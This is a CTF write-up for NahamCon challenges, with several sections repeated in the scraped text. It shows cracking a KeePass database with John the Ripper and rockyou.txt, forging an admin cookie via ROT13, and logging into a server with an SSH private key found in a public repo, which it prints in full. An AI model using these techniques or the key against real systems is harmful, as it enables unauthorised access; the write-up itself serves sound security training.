https://gchq.github.io/CyberChef/ ## Easy KeesyDang it, not again... Download the file below. [easy_keesy](assets//files//easy_keesy) **flag{jtr_found_the_keys_to_kingdom}** **Solution:** With the challenge we get a file with an unknown format, we can use the file command to see that the file is a KeePass database: ![](assets//images//easy_keesy.png) This type of files are databases used to keep passwords on the computer 'safely', there are many password managers to view this kind of files but I used KeeWeb for this challenge mostly because it is a web tool, if we try to open the file with it we can quickly notice that we don't have the password for doing that, furthermore there aren't any mentions of a password in the file or in the description of the challenge, so it seems we need to bruteforce for the password.\Passwords are commonly saved as hashes, hashes are data created using cryptographic hash functions which are one way functions (easy to find an hash for a password, hard to find a password for the hash) who are also able to return a value with a fixed length to any file with any size, a simple example for an hash function is the algorithm shown in the December challenge with the slight modification that only the last block of the cipher is returned, hashes are great because it is easy to validate a value using them as you can just as hash the value using the hash function and compare the hashes, but, it is hard to get the value from an hash.\In the case of a KeePass database file, the password for the database, which is called a master password, is saved as an hash in the file in order for a password manager to verify it, this is not a smart idea to save the password locally like that but it's good for us.\To find the password I used a dictionary attack, this type of attack uses a known database in order to find the right data, in the case of password cracking we use a database of passwords, preferably ordered by most frequently used to least frequently used, we will hash each password and compare it to the hash we have until we'll find a password with the same one, this does not guarantee that we found the correct password (an hash collision can occur) but most probably it will find the correct one, the dictionary I used is called rockyou.txt which lists common passwords. for executing the attack I used John the Ripper, a great tool for cracking hashes using a dictionary, I first converted the file to something john can use and then used john with rockyou.txt to crack the password by executing the following commands: ```bashkeepass2john easy_keesy > kpjohn --wordlist=/usr/share/wordlists/rockyou.txt -format:keepass kp```by doing that we get that the password for the file is monkeys, if we try using it in KeeWeb we are given access to the database and we get the flag: ![](assets//images//easy_keesy_1.png) **Resources:*** file man page: https://linux.die.net/man/1/file* KeePass: https://en.wikipedia.org/wiki/KeePass* KeeWeb: https://keeweb.info/* rockyou.txt: https://wiki.skullsecurity.org/Passwords* John the Ripper: https://tools.kali.org/password-attacks/john* cryptographic hash function (CHF): https://en.wikipedia.org/wiki/Cryptographic_hash_function ## Peter RabbitLittle Peter Rabbit had a fly upon his nose, and he flipped it and he flapped it and it flew away! Download the file below.\[peter.png](assets//images//peter.png) **Post CTF Writeup** **flag{ohhhpietwastherabbit}** **Solution:** With the challenge we are given the following PNG image: ![](assets//images//peter.png) this is actually an esoteric programming language called piet, named after the artist Piet Mondrian, we can use an interpreter to execute the script (I linked the one I used in the resources), by doing so we get the flag: ![](assets//images//peter_2.png) **Resources:*** Piet: https://www.dangermouse.net/esoteric/piet.html* Esoteric Programming Language: https://en.wikipedia.org/wiki/Esoteric_programming_language* Piet online interpreter: https://www.bertnase.de/npiet/npiet-execute.php ## PangThis file does not open! Download the file below. [pang](assets//files//pang) **flag{wham_bam_thank_you_for_the_flag_maam}** **Solution:** With the challenge we get a unknown file, we can use the file command to see that this is a PNG image, but it seems we can't open the image in an image viewer, so we can guess that the image is corrupted, we can verify that by using a tool called pngcheck: ![](assets//images//pang_1.png) The tool tells us that there is an CRC error in the IHDR chunk, the IHDR is the first chunk in a PNG image and the CRC value is a value stored for every chunk in the image to verify the authenticity of the data (I explained more about CRC and IHDR in my writeup for the challenges in RACTF 2020 listed in the resources).\We can fix the image by changing value of the CRC, I prefer to do it using an hex viewer so we can have a clear understanding of the data, the changes are marked in red: ![](assets//images//pang_2.png)![](assets//images//pang_3.png) and by saving the modified file and viewing it again we get the flag: ![](assets//images//pang.png) **Resources:*** pngcheck man page: https://man.cx/pngcheck(1)* PNG file format specification: http://www.libpng.org/pub/png/spec/1.2/PNG-Contents.html* RACTF 2020 writeup for stego challenges: https://github.com/W3rni0/RACTF_2020#steg--forensics* HxD: https://mh-nexus.de/en/hxd/ ***# OSINT ## Time KeeperThere is some interesting stuff on this website. Or at least, I thought there was... Connect here:\https://apporima.com/ **JCTF{the_wayback_machine}** **Solution:** We are given a url of a site with the challenge, as the challenge suggests we need to look at older versions of the site, the current version is: ![](assets//images//time_keeper.png) we can use a site called Wayback Machine (linked in resources) to view older versions of sites, it seems that there is only one older version of the site from the 18th of april, and there is a snapshot of the index page: ![](assets//images//time_keeper_2.png) link to the snapshot:`https://web.archive.org/web/20200418214642/https://apporima.com/` You can see that the first blog post from the older version can't be found in the current version, furthermore it suggests that the flag is in the web server of the site under /flag.txt, trying to view the file in the current version gives us 404 error, but if we try to view older version of it in the the wayback machine we get the flag: ![](assets//images//time_keeper_3.png) **Resources:*** Wayback Machine: https://archive.org/web/ ## New Years ResolutionThis year, I resolve to not use old and deprecated nameserver technologies! Connect here: jh2i.com **flag{next_year_i_wont_use_spf}** **Solution:** We can infer from the name of the challenge and the description that it has something to do with nameservers, nameserver are servers which handle resolving human-readable identifiers to numberical identifiers, in the case of web server, nameserver handle providing responses to queries on domain names, usually converting urls to IP addresses but not always, we can view this responses using the dig command, in our case we want to view all the type of responses availiable (the more the merrier), we can do this by writing ANY after the command, the full command is: `dig jh2i.com ANY` and we have our flag in the output of the command: ![](assets//images//new_year_resolution.png) **Resources:*** Name server: https://en.wikipedia.org/wiki/Name_server* DNS protocol: https://tools.ietf.org/html/rfc1034* dig man tool: https://linux.die.net/man/1/dig ## Finsta This time we have a username. Can you track down `NahamConTron`? **flag{i_feel_like_that_was_too_easy}** **Solution:** In this challenge we need to track down a username, luckily there is a tool called Sherlock that does just that, it searches popular sites such as GitHub, Twitter, Instagram and etc. for an account with the given username, and returns a list to the profiles, we can run it using the following command: `python3 sherlock NahamConTron` and the commands returns the following list of accounts: ```https://www.github.com/NahamConTronhttps://www.instagram.com/NahamConTronhttps://www.liveleak.com/c/NahamConTronhttps://www.meetme.com/NahamConTronhttps://forum.redsun.tf/members/?username=NahamConTronhttps://www.twitter.com/NahamConTronTotal Websites Username Detected On : 6``` by looking at the instegram account we can find our flag at the accout description: ![](assets//images//finsta.png) **Resources:*** Sherlock: https://github.com/sherlock-project/sherlock ## Tron NahamConTron is up to more shenanigans. Find his server. **flag{nahamcontron_is_on_the_grid}** **Solution:** Taking a look back at the list Sherlock returned in the previous challenge we can see that there is an account in github with this username, let's take a look at it: ![](assets//images//tron_1.png) there are 2 repositories for the user: ![](assets//images//tron_2.png) the second one is not very helpful: ![](assets//images//tron_3.png) but the first one has some interesting files: ![](assets//images//tron_4.png) the first file to pop into view is the .bash_history file, it contains the command history of a user and can reveal sensitive information about the user activity, in our case it contains the following line:```bashssh -i config/id_rsa [email protected] -p 50033```so we now know the user has connected to a server using the SSH protocol (Secure Shell protocol) with an SSH private key, and we also know that the key is in a config folder .... interesting, maybe it is the same folder as the one in the repo? ![](assets//images//tron_5.png) yeah it is!, the private key is: ```-----BEGIN OPENSSH PRIVATE KEY-----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-----END OPENSSH PRIVATE KEY-----``` and we can connect to the server, using the same command, and in the server we find our flag: ![](assets//images//tron_6.png) ***# Steganography ## KstegThis must be a typo.... it was kust one letter away! Download the file below. [luke.jpg](assets//images//luke.jpg) **flag{yeast_bit_steganography_oops_another_typo}** **Solution:** With the challenge we get the following JPEG image: This is my writeup for the challenges in NahamCon CTF, I mainly focused on cryptography, steganography and OSINT.***# Table of Contents * [Warmup](#warmup) - [Read The Rules](#read-the-rules) - [CLIsay](#clisay) - [Metameme](#metameme) - [Mr.robot](#mr-robot) - [UGGC](#uggc) - [Easy Keesy](#easy-keesy) - [Peter Rabbit](#peter-rabbit) - [Pang](#pang)* [OSINT](#osint) - [Time Keeper](#time-keeper) - [New Years Resolution](#new-years-resolution) - [Finsta](#finsta) - [Tron](#tron)* [Steganography](#steganography) - [Ksteg](#ksteg) - [Doh](#doh) - [Beep Boop](#beep-boop) - [Snowflake](#snowflake) - [My Apologies](#my-apologies) - [Dead Swap](#dead-swap) - [Walkman](#walkman) - [Old School](#old-school)* [Cryptography](#cryptography) - [Docxor](#docxor) - [Homecooked](#homecooked) - [Twinning](#twinning) - [Ooo-la-la](#ooo-la-la) - [Unvreakable Vase](#unvreakable-vase) - [December](#december) - [Raspberry](#raspberry)* [Forensics](#forensics) - [Microsooft](#microsooft) - [Cow Pie](#cow-pie)* [Mobile](#mobile) - [Candroid](#candroid) - [Simple App](#simple-app) - [Ends Meet](#ends-meet)* [Miscellaneous](#miscellaneous) - [Vortex](#vortex) - [Fake file](#fake-file) - [Alkatraz](#alkatraz) - [Trapped](#trapped) - [Awkward](#awkward)* [Scripting](#scripting) - [Dina](#dina) - [Rotten](#rotten) - [Really powerful Gnomes](#really-powerful-gnomes)* [Web](#web) - [Agent 95](#agent-95) - [Localghost](#localghost) - [Phphonebook](#phphonebook)***# Warmup ## Read The RulesPlease follow the rules for this CTF! Connect here:https://ctf.nahamcon.com/rules **flag{we_hope_you_enjoy_the_game}** **Solution:** The flag is commented close to the end of the source code for the rules pages, right after the elements for the prizes: ![](assets//images//read_the_rules.png) ## CLIsaycowsay is hiding something from us! Download the file below. [clisay](assets//files/clisay) **flag{Y0u_c4n_r3Ad_M1nd5}** **Solution:** With the challenge we are given an ELF file (a type of Unix executable), by running it we get: ![](assets//images//clisay_1.png) well that didn't give us much, we can check if there are printable strings in the file by using the strings command on it, doing that gives us the flag: ![](assets//images//clisay_2.png) notice that you need to append the two parts of the flag together (the strings after and before the ascii art). **Resources:*** strings man page: https://linux.die.net/man/1/strings* ELF file: https://en.wikipedia.org/wiki/Executable_and_Linkable_Format ## MetamemeHacker memes. So meta. Download the file below. [hackermeme.jpg](assets//images//hackermeme.jpg) **flag{N0t_7h3_4cTuaL_Cr3At0r}** **Solution:** With the challenge we get this image: ![hackermeme.jpg](assets//images//hackermeme.jpg) We can guess by the name of the challenge and its description that there is something in the metadata of the image, so we can use exiftool on it, exiftool allows you to see the metadata of an image, and by using it we get the flag: ![](assets//images//metameme.png) **Resources:*** Exif: https://en.wikipedia.org/wiki/Exif* exiftool: https://linux.die.net/man/1/exiftool ## Mr. RobotElliot needs your help. You know what to do. Connect here:\http://jh2i.com:50032 **flag{welcome_to_robots.txt}** **Solution:** With the challenge we get a url to a website: ![](assets//images//mr_robot.png) There doesn't seem to be much in the index page, but we can guess by the name of the challenge that there is something in the robots.txt file for the website, robots.txt is a file which helps search engines (crawlers in general) to index the site correctly, in most sites nowadays there is a robots.txt file, if we look at the file ( the link is http://jh2i.com:50032/robots.txt ) we get the flag: ![](assets//images//mr_robot_2.png) **Resources:*** Introduction to robots.txt: https://support.google.com/webmasters/answer/6062608?hl=en ## UGGCBecome the admin! Connect here:\http://jh2i.com:50018 **flag{H4cK_aLL_7H3_C0okI3s}** **Solution:** With the challenge we get a url to a website and it seems that we can login to the it using the index page: ![](assets//images//uggc.png) By the description we know that we need to login as admin, but if we try using admin as our username we get the following: ![](assets//images//uggc_2.png) But we can login with any other username: ![](assets//images//uggc_3.png) If we try to refresh the page or open it in another tab it seems that the login is saved, which means that the site is using cookies, because HTTP connection is stateless (doesn't save the state of the connection server-side) and because sometimes the server needs to know who is the user in a session it saves cookies on the computer of the user, cookies are data which is most of the time encrypted and sent with HTTP requests to helps the server recognize the user, we can see the cookies of the site by using the inspector tool in the browser: ![](assets//images//uggc_4.png) we can see that the cookie for the site bares a strange similarity to the username I used, that is because the cookie is encrypted using ceaser cipher, a type of substitution cipher where each letter is replaced by the letter with a specific offset from it, in our case with the offset of 13, so a becomes n, b becomes o and so on, a ceaser cipher with offset of 13 is also called a ROT13 cipher, now that we know the cipher used on the cookie we can change our cookie to being that of the admin, we can use cyberchef to do that: ![](assets//images//uggc_5.png) now we only need to change the value of the cookie to the ciphertext corresponding to admin (we can use the browser inspector tool for that) and we get the flag: ![](assets//images//uggc_6.png) **Resources:*** HTTP cookie: https://en.wikipedia.org/wiki/HTTP_cookie* Ceaser cipher: https://en.wikipedia.org/wiki/Caesar_cipher* Cyberchef: https://gchq.github.io/CyberChef/ ## Easy KeesyDang it, not again... Download the file below. [easy_keesy](assets//files//easy_keesy) **flag{jtr_found_the_keys_to_kingdom}** **Solution:** With the challenge we get a file with an unknown format, we can use the file command to see that the file is a KeePass database: ![](assets//images//easy_keesy.png) This type of files are databases used to keep passwords on the computer 'safely', there are many password managers to view this kind of files but I used KeeWeb for this challenge mostly because it is a web tool, if we try to open the file with it we can quickly notice that we don't have the password for doing that, furthermore there aren't any mentions of a password in the file or in the description of the challenge, so it seems we need to bruteforce for the password.\Passwords are commonly saved as hashes, hashes are data created using cryptographic hash functions which are one way functions (easy to find an hash for a password, hard to find a password for the hash) who are also able to return a value with a fixed length to any file with any size, a simple example for an hash function is the algorithm shown in the December challenge with the slight modification that only the last block of the cipher is returned, hashes are great because it is easy to validate a value using them as you can just as hash the value using the hash function and compare the hashes, but, it is hard to get the value from an hash.\In the case of a KeePass database file, the password for the database, which is called a master password, is saved as an hash in the file in order for a password manager to verify it, this is not a smart idea to save the password locally like that but it's good for us.\To find the password I used a dictionary attack, this type of attack uses a known database in order to find the right data, in the case of password cracking we use a database of passwords, preferably ordered by most frequently used to least frequently used, we will hash each password and compare it to the hash we have until we'll find a password with the same one, this does not guarantee that we found the correct password (an hash collision can occur) but most probably it will find the correct one, the dictionary I used is called rockyou.txt which lists common passwords. for executing the attack I used John the Ripper, a great tool for cracking hashes using a dictionary, I first converted the file to something john can use and then used john with rockyou.txt to crack the password by executing the following commands: ```bashkeepass2john easy_keesy > kpjohn --wordlist=/usr/share/wordlists/rockyou.txt -format:keepass kp```by doing that we get that the password for the file is monkeys, if we try using it in KeeWeb we are given access to the database and we get the flag: ![](assets//images//easy_keesy_1.png) **Resources:*** file man page: https://linux.die.net/man/1/file* KeePass: https://en.wikipedia.org/wiki/KeePass* KeeWeb: https://keeweb.info/* rockyou.txt: https://wiki.skullsecurity.org/Passwords* John the Ripper: https://tools.kali.org/password-attacks/john* cryptographic hash function (CHF): https://en.wikipedia.org/wiki/Cryptographic_hash_function ## Peter RabbitLittle Peter Rabbit had a fly upon his nose, and he flipped it and he flapped it and it flew away! Download the file below.\[peter.png](assets//images//peter.png) **Post CTF Writeup** **flag{ohhhpietwastherabbit}** **Solution:** With the challenge we are given the following PNG image: ![](assets//images//peter.png) this is actually an esoteric programming language called piet, named after the artist Piet Mondrian, we can use an interpreter to execute the script (I linked the one I used in the resources), by doing so we get the flag: ![](assets//images//peter_2.png) **Resources:*** Piet: https://www.dangermouse.net/esoteric/piet.html* Esoteric Programming Language: https://en.wikipedia.org/wiki/Esoteric_programming_language* Piet online interpreter: https://www.bertnase.de/npiet/npiet-execute.php ## PangThis file does not open! Download the file below. [pang](assets//files//pang) **flag{wham_bam_thank_you_for_the_flag_maam}** **Solution:** With the challenge we get a unknown file, we can use the file command to see that this is a PNG image, but it seems we can't open the image in an image viewer, so we can guess that the image is corrupted, we can verify that by using a tool called pngcheck: ![](assets//images//pang_1.png) The tool tells us that there is an CRC error in the IHDR chunk, the IHDR is the first chunk in a PNG image and the CRC value is a value stored for every chunk in the image to verify the authenticity of the data (I explained more about CRC and IHDR in my writeup for the challenges in RACTF 2020 listed in the resources).\We can fix the image by changing value of the CRC, I prefer to do it using an hex viewer so we can have a clear understanding of the data, the changes are marked in red: ![](assets//images//pang_2.png)![](assets//images//pang_3.png) and by saving the modified file and viewing it again we get the flag: ![](assets//images//pang.png) **Resources:*** pngcheck man page: https://man.cx/pngcheck(1)* PNG file format specification: http://www.libpng.org/pub/png/spec/1.2/PNG-Contents.html* RACTF 2020 writeup for stego challenges: https://github.com/W3rni0/RACTF_2020#steg--forensics* HxD: https://mh-nexus.de/en/hxd/ ***# OSINT ## Time KeeperThere is some interesting stuff on this website. Or at least, I thought there was... Connect here:\https://apporima.com/ **JCTF{the_wayback_machine}** **Solution:** We are given a url of a site with the challenge, as the challenge suggests we need to look at older versions of the site, the current version is: ![](assets//images//time_keeper.png) we can use a site called Wayback Machine (linked in resources) to view older versions of sites, it seems that there is only one older version of the site from the 18th of april, and there is a snapshot of the index page: ![](assets//images//time_keeper_2.png) link to the snapshot:`https://web.archive.org/web/20200418214642/https://apporima.com/` You can see that the first blog post from the older version can't be found in the current version, furthermore it suggests that the flag is in the web server of the site under /flag.txt, trying to view the file in the current version gives us 404 error, but if we try to view older version of it in the the wayback machine we get the flag: ![](assets//images//time_keeper_3.png) **Resources:*** Wayback Machine: https://archive.org/web/ ## New Years ResolutionThis year, I resolve to not use old and deprecated nameserver technologies! Connect here: jh2i.com **flag{next_year_i_wont_use_spf}** **Solution:** We can infer from the name of the challenge and the description that it has something to do with nameservers, nameserver are servers which handle resolving human-readable identifiers to numberical identifiers, in the case of web server, nameserver handle providing responses to queries on domain names, usually converting urls to IP addresses but not always, we can view this responses using the dig command, in our case we want to view all the type of responses availiable (the more the merrier), we can do this by writing ANY after the command, the full command is: `dig jh2i.com ANY` and we have our flag in the output of the command: ![](assets//images//new_year_resolution.png) **Resources:*** Name server: https://en.wikipedia.org/wiki/Name_server* DNS protocol: https://tools.ietf.org/html/rfc1034* dig man tool: https://linux.die.net/man/1/dig ## Finsta This time we have a username. Can you track down `NahamConTron`? **flag{i_feel_like_that_was_too_easy}** **Solution:** In this challenge we need to track down a username, luckily there is a tool called Sherlock that does just that, it searches popular sites such as GitHub, Twitter, Instagram and etc. for an account with the given username, and returns a list to the profiles, we can run it using the following command: `python3 sherlock NahamConTron` and the commands returns the following list of accounts: ```https://www.github.com/NahamConTronhttps://www.instagram.com/NahamConTronhttps://www.liveleak.com/c/NahamConTronhttps://www.meetme.com/NahamConTronhttps://forum.redsun.tf/members/?username=NahamConTronhttps://www.twitter.com/NahamConTronTotal Websites Username Detected On : 6``` by looking at the instegram account we can find our flag at the accout description: ![](assets//images//finsta.png) **Resources:*** Sherlock: https://github.com/sherlock-project/sherlock ## Tron NahamConTron is up to more shenanigans. Find his server. **flag{nahamcontron_is_on_the_grid}** **Solution:** Taking a look back at the list Sherlock returned in the previous challenge we can see that there is an account in github with this username, let's take a look at it: ![](assets//images//tron_1.png) there are 2 repositories for the user: ![](assets//images//tron_2.png) the second one is not very helpful: ![](assets//images//tron_3.png) but the first one has some interesting files: ![](assets//images//tron_4.png) the first file to pop into view is the .bash_history file, it contains the command history of a user and can reveal sensitive information about the user activity, in our case it contains the following line:```bashssh -i config/id_rsa [email protected] -p 50033```so we now know the user has connected to a server using the SSH protocol (Secure Shell protocol) with an SSH private key, and we also know that the key is in a config folder .... interesting, maybe it is the same folder as the one in the repo? ![](assets//images//tron_5.png) yeah it is!, the private key is: ```-----BEGIN OPENSSH PRIVATE KEY-----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-----END OPENSSH PRIVATE KEY-----``` and we can connect to the server, using the same command, and in the server we find our flag: ![](assets//images//tron_6.png) ***# Steganography ## KstegThis must be a typo.... it was kust one letter away! Download the file below. [luke.jpg](assets//images//luke.jpg) **flag{yeast_bit_steganography_oops_another_typo}** **Solution:** With the challenge we get the following JPEG image: We can infer by the challenge name and the challenge description that we need to use Jsteg (link in the resources), this is a type of tool for hiding data in the least significant bit (LSB) of the bytes in the image, this image is actually an image of the creator of the tool (whose name is luke), I only succeeded in using the tool by running the main.go script that's in jsteg/cmd/jsteg using the following command: ![](assets//images//luke_1.png) **Resources:*** Jsteg: https://github.com/lukechampine/jsteg ## DohDoh! Stupid steganography... **Note, this flag is not in the usual format.** Download the file below. [doh.jpg](assets//images//doh.jpg) **JCTF{an_annoyed_grunt}** **Solution:** With the challenge we get the following JPEG image: because this is a stego challenge one of the first thing I do is to check if there are files embedded in the image using binwalk and steghide, luckily steghide comes to use and finds a text file in the image which actually contains the flag: ![](assets//images//doh_1.png) **Resources:*** Steghide: http://steghide.sourceforge.net/* binwalk man page: https://manpages.debian.org/stretch/binwalk/binwalk.1.en.html ## Beep BoopThat must be a really long phone number... right? Download the file below. [flag.wav](assets//files//flag.wav) **flag{do_you_speak_the_beep_boop}** **Solution:** Now we are given for a change a WAV file (Wave audio file), in it we can hear key presses of a phone, this is actually DTMF (dual tone multi frequency) which were used to signal to the phone company that a specific key was pressed and they have quite a lot of history with respect to hacking, we can actually decipher this tones using a tool called multimon-ng or using the web tool listed below, this will give us the following code: ```46327402297754110981468069185383422945309689772058551073955248013949155635325 ```we can execute the following command to extract the number: `multimon-ng -t wav -a DTMF flag.wav | grep -o "[0-9]+" | tr -d "\n"` I tried a lot of ways to get the flag from this number and eventually figured out that you need to convert the numbers from decimal format to hex and then from hex to ascii, or alternatively use long_to_bytes from the pycryptodome module, by doing so we get the flag: ![](assets//images//beep_boop.png) **Resources:*** DTMF: 